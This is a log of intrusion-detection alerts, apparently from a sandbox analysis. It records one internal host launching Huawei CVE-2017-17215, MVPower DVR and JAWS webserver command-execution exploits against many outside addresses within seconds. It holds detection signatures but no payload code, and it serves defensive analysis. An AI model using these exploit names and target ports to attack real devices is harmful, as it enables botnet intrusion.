ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.213.9.188

Timestamp:	06/01/24-18:15:54.254666
SID:	2835222
Source Port:	38622
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 189.82.218.132

Timestamp:	06/01/24-18:15:54.238596
SID:	2025883
Source Port:	32936
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.254.50.144

Timestamp:	06/01/24-18:15:54.275552
SID:	2829579
Source Port:	58124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.208.181.92

Timestamp:	06/01/24-18:15:56.307106
SID:	2835222
Source Port:	41680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 158.4.130.100

Timestamp:	06/01/24-18:15:53.240242
SID:	2025883
Source Port:	34922
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 157.59.40.252

Timestamp:	06/01/24-18:15:55.267731
SID:	2030092
Source Port:	60162
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 188.170.231.160

Timestamp:	06/01/24-18:15:56.244628
SID:	2025883
Source Port:	53316
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.27.121.67

Timestamp:	06/01/24-18:15:54.275098
SID:	2829579
Source Port:	49218
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 129.193.114.98

Timestamp:	06/01/24-18:15:53.239781
SID:	2025883
Source Port:	50078
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.9.82.52

Timestamp:	06/01/24-18:15:54.238679
SID:	2025883
Source Port:	59368
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.90.12.37

Timestamp:	06/01/24-18:15:56.307965
SID:	2835222
Source Port:	41492
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.200.45.182

Timestamp:	06/01/24-18:15:54.256554
SID:	2829579
Source Port:	51224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.89.44.248

Timestamp:	06/01/24-18:15:54.253439
SID:	2835222
Source Port:	39642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 45.33.63.82

Timestamp:	06/01/24-18:15:56.244558
SID:	2025883
Source Port:	56334
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.215.248.219

Timestamp:	06/01/24-18:15:55.261256
SID:	2835222
Source Port:	46470
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.18.209.9

Timestamp:	06/01/24-18:15:56.307042
SID:	2829579
Source Port:	47800
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 98.85.212.158

Timestamp:	06/01/24-18:15:55.265263
SID:	2030092
Source Port:	45520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.40.142

Timestamp:	06/01/24-18:15:54.274736
SID:	2829579
Source Port:	40134
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.46.115.89

Timestamp:	06/01/24-18:15:54.256242
SID:	2829579
Source Port:	45778
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 48.234.108.156

Timestamp:	06/01/24-18:15:53.239961
SID:	2025883
Source Port:	38194
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.87.210.186

Timestamp:	06/01/24-18:15:54.274322
SID:	2835222
Source Port:	53616
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 172.56.24.244

Timestamp:	06/01/24-18:15:55.264930
SID:	2030092
Source Port:	46744
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.238.177.50

Timestamp:	06/01/24-18:15:54.256952
SID:	2829579
Source Port:	37148
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.113.114.137

Timestamp:	06/01/24-18:15:56.308033
SID:	2829579
Source Port:	46284
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 104.115.107.154

Timestamp:	06/01/24-18:15:55.265963
SID:	2030092
Source Port:	60520
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.66.87.121

Timestamp:	06/01/24-18:15:54.238269
SID:	2030092
Source Port:	46164
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.236.203.121

Timestamp:	06/01/24-18:15:54.254586
SID:	2829579
Source Port:	54026
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.230.149.194

Timestamp:	06/01/24-18:15:55.262860
SID:	2835222
Source Port:	37250
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.84.73.50

Timestamp:	06/01/24-18:15:55.259969
SID:	2835222
Source Port:	33794
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.121.54.211

Timestamp:	06/01/24-18:15:56.306951
SID:	2829579
Source Port:	48620
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.43.208.255

Timestamp:	06/01/24-18:15:54.254230
SID:	2835222
Source Port:	49224
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 95.239.226.123

Timestamp:	06/01/24-18:15:53.239557
SID:	2025883
Source Port:	56234
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.14.133.63

Timestamp:	06/01/24-18:15:54.253835
SID:	2829579
Source Port:	50112
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 38.120.106.118

Timestamp:	06/01/24-18:15:55.265799
SID:	2030092
Source Port:	53992
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 187.205.139.84

Timestamp:	06/01/24-18:15:53.240367
SID:	2025883
Source Port:	33706
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.193.10.45

Timestamp:	06/01/24-18:15:54.251351
SID:	2829579
Source Port:	45328
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 86.99.246.150

Timestamp:	06/01/24-18:15:56.287440
SID:	2030092
Source Port:	40740
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 173.159.67.38

Timestamp:	06/01/24-18:15:54.241927
SID:	2025883
Source Port:	52486
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 94.52.226.91

Timestamp:	06/01/24-18:15:55.265775
SID:	2030092
Source Port:	49706
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 170.90.134.85

Timestamp:	06/01/24-18:15:53.247003
SID:	2025883
Source Port:	40782
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 72.8.191.18

Timestamp:	06/01/24-18:15:56.246473
SID:	2030092
Source Port:	50956
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.87.170.8

Timestamp:	06/01/24-18:15:54.252592
SID:	2829579
Source Port:	41724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 198.54.147.248

Timestamp:	06/01/24-18:15:56.246141
SID:	2025883
Source Port:	37370
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.127.231.35

Timestamp:	06/01/24-18:15:56.306077
SID:	2829579
Source Port:	34742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 81.48.62.152

Timestamp:	06/01/24-18:15:53.240978
SID:	2030092
Source Port:	53558
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 42.133.131.181

Timestamp:	06/01/24-18:15:56.245498
SID:	2030092
Source Port:	42136
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.50.165.9

Timestamp:	06/01/24-18:15:55.261120
SID:	2835222
Source Port:	48334
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 205.243.6.97

Timestamp:	06/01/24-18:15:55.264843
SID:	2030092
Source Port:	45868
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.158.95.158

Timestamp:	06/01/24-18:15:54.256393
SID:	2835222
Source Port:	36614
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.126.107.59

Timestamp:	06/01/24-18:15:54.275251
SID:	2829579
Source Port:	54080
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 41.108.232.85

Timestamp:	06/01/24-18:15:54.240025
SID:	2025883
Source Port:	33688
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.251.227.241

Timestamp:	06/01/24-18:15:55.233813
SID:	2835222
Source Port:	49364
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 91.87.51.114

Timestamp:	06/01/24-18:15:55.265512
SID:	2030092
Source Port:	45236
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 41.79.241.72

Timestamp:	06/01/24-18:15:53.238377
SID:	2030092
Source Port:	42178
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.75.33.112

Timestamp:	06/01/24-18:15:54.255551
SID:	2829579
Source Port:	39538
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 149.115.99.191

Timestamp:	06/01/24-18:15:53.237869
SID:	2030092
Source Port:	53862
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.22.210.222

Timestamp:	06/01/24-18:15:54.252324
SID:	2835222
Source Port:	41586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 213.99.204.125

Timestamp:	06/01/24-18:15:54.237993
SID:	2030092
Source Port:	47054
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.19.154

Timestamp:	06/01/24-18:15:54.256497
SID:	2829579
Source Port:	34852
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 187.75.110.93

Timestamp:	06/01/24-18:15:53.240062
SID:	2030092
Source Port:	51500
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 155.78.6.227

Timestamp:	06/01/24-18:15:53.240794
SID:	2030092
Source Port:	33210
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 160.171.210.51

Timestamp:	06/01/24-18:15:53.241160
SID:	2025883
Source Port:	42950
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.139.183.232

Timestamp:	06/01/24-18:15:54.252358
SID:	2829579
Source Port:	59700
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.45.224.43

Timestamp:	06/01/24-18:15:54.252286
SID:	2835222
Source Port:	52362
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.60.54.58

Timestamp:	06/01/24-18:15:56.287888
SID:	2829579
Source Port:	37586
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.142.205.5

Timestamp:	06/01/24-18:15:56.306738
SID:	2829579
Source Port:	44436
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.27.178.48

Timestamp:	06/01/24-18:15:55.261312
SID:	2829579
Source Port:	35684
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 18.69.98.66

Timestamp:	06/01/24-18:15:53.246870
SID:	2025883
Source Port:	60716
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.175.191.141

Timestamp:	06/01/24-18:15:55.260976
SID:	2829579
Source Port:	55978
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.5.46.180

Timestamp:	06/01/24-18:15:54.254818
SID:	2835222
Source Port:	38566
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.204.11.107

Timestamp:	06/01/24-18:15:55.260163
SID:	2829579
Source Port:	37114
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 98.123.8.16

Timestamp:	06/01/24-18:15:55.265899
SID:	2030092
Source Port:	37148
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 41.189.31.68

Timestamp:	06/01/24-18:15:54.239533
SID:	2025883
Source Port:	41362
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.101.17.223

Timestamp:	06/01/24-18:15:55.262262
SID:	2829579
Source Port:	39182
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.121.41.185

Timestamp:	06/01/24-18:15:55.261518
SID:	2829579
Source Port:	37822
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 112.152.48.8

Timestamp:	06/01/24-18:15:53.240919
SID:	2030092
Source Port:	33878
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.191.243.96

Timestamp:	06/01/24-18:15:54.275135
SID:	2835222
Source Port:	39124
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 121.59.20.215

Timestamp:	06/01/24-18:15:53.246794
SID:	2025883
Source Port:	43646
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.23.36.64

Timestamp:	06/01/24-18:15:54.251867
SID:	2829579
Source Port:	53694
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 128.151.195.102

Timestamp:	06/01/24-18:15:53.240886
SID:	2025883
Source Port:	39732
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.173.199.249

Timestamp:	06/01/24-18:15:54.274578
SID:	2829579
Source Port:	48220
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.199.2.59

Timestamp:	06/01/24-18:15:56.307218
SID:	2835222
Source Port:	51982
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.4.150.25

Timestamp:	06/01/24-18:15:56.308362
SID:	2829579
Source Port:	35150
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 217.30.58.227

Timestamp:	06/01/24-18:15:54.240667
SID:	2025883
Source Port:	39030
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.200.184.181

Timestamp:	06/01/24-18:15:56.308485
SID:	2829579
Source Port:	56528
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 146.172.113.113

Timestamp:	06/01/24-18:15:55.266133
SID:	2030092
Source Port:	32978
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.144.59.161

Timestamp:	06/01/24-18:15:54.251978
SID:	2829579
Source Port:	51176
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.199.175.95

Timestamp:	06/01/24-18:15:56.307586
SID:	2829579
Source Port:	41184
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.2.158.240

Timestamp:	06/01/24-18:15:54.256096
SID:	2835222
Source Port:	35190
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 108.218.98.173

Timestamp:	06/01/24-18:15:56.246355
SID:	2030092
Source Port:	47646
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.13.150.2

Timestamp:	06/01/24-18:15:54.252052
SID:	2829579
Source Port:	53482
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 25.87.20.30

Timestamp:	06/01/24-18:15:53.239819
SID:	2025883
Source Port:	44778
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 93.152.148.219

Timestamp:	06/01/24-18:15:53.241011
SID:	2025883
Source Port:	46490
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 147.89.17.146

Timestamp:	06/01/24-18:15:54.237719
SID:	2025883
Source Port:	54410
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.246.84.41

Timestamp:	06/01/24-18:15:56.306706
SID:	2835222
Source Port:	37724
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.192.206.29

Timestamp:	06/01/24-18:15:56.305968
SID:	2835222
Source Port:	59194
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 8.194.32.207

Timestamp:	06/01/24-18:15:53.241257
SID:	2030092
Source Port:	38354
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.95.106.67

Timestamp:	06/01/24-18:15:54.256689
SID:	2829579
Source Port:	52956
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.249.12.23

Timestamp:	06/01/24-18:15:54.257008
SID:	2835222
Source Port:	58146
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 156.32.96.160

Timestamp:	06/01/24-18:15:54.255441
SID:	2829579
Source Port:	52168
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 59.33.69.191

Timestamp:	06/01/24-18:15:55.267998
SID:	2030092
Source Port:	49096
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.77.122

Timestamp:	06/01/24-18:15:54.257094
SID:	2829579
Source Port:	51850
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 49.81.200.207

Timestamp:	06/01/24-18:15:54.237774
SID:	2025883
Source Port:	60472
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT MVPower DVR Shell UCE - Source IP: 192.168.2.23 - Destination IP: 106.72.36.51

Timestamp:	06/01/24-18:15:54.239716
SID:	2025883
Source Port:	52274
Destination Port:	80
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 202.238.8.254

Timestamp:	06/01/24-18:15:53.238499
SID:	2030092
Source Port:	34700
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.249.199.20

Timestamp:	06/01/24-18:15:54.274356
SID:	2835222
Source Port:	46882
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.249.106.11

Timestamp:	06/01/24-18:15:54.251379
SID:	2829579
Source Port:	36386
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN JAWS Webserver Unauthenticated Shell Command Execution - Source IP: 192.168.2.23 - Destination IP: 57.54.162.72

Timestamp:	06/01/24-18:15:54.237923
SID:	2030092
Source Port:	58546
Destination Port:	80
Protocol:	TCP
Classtype:	Web Application Attack

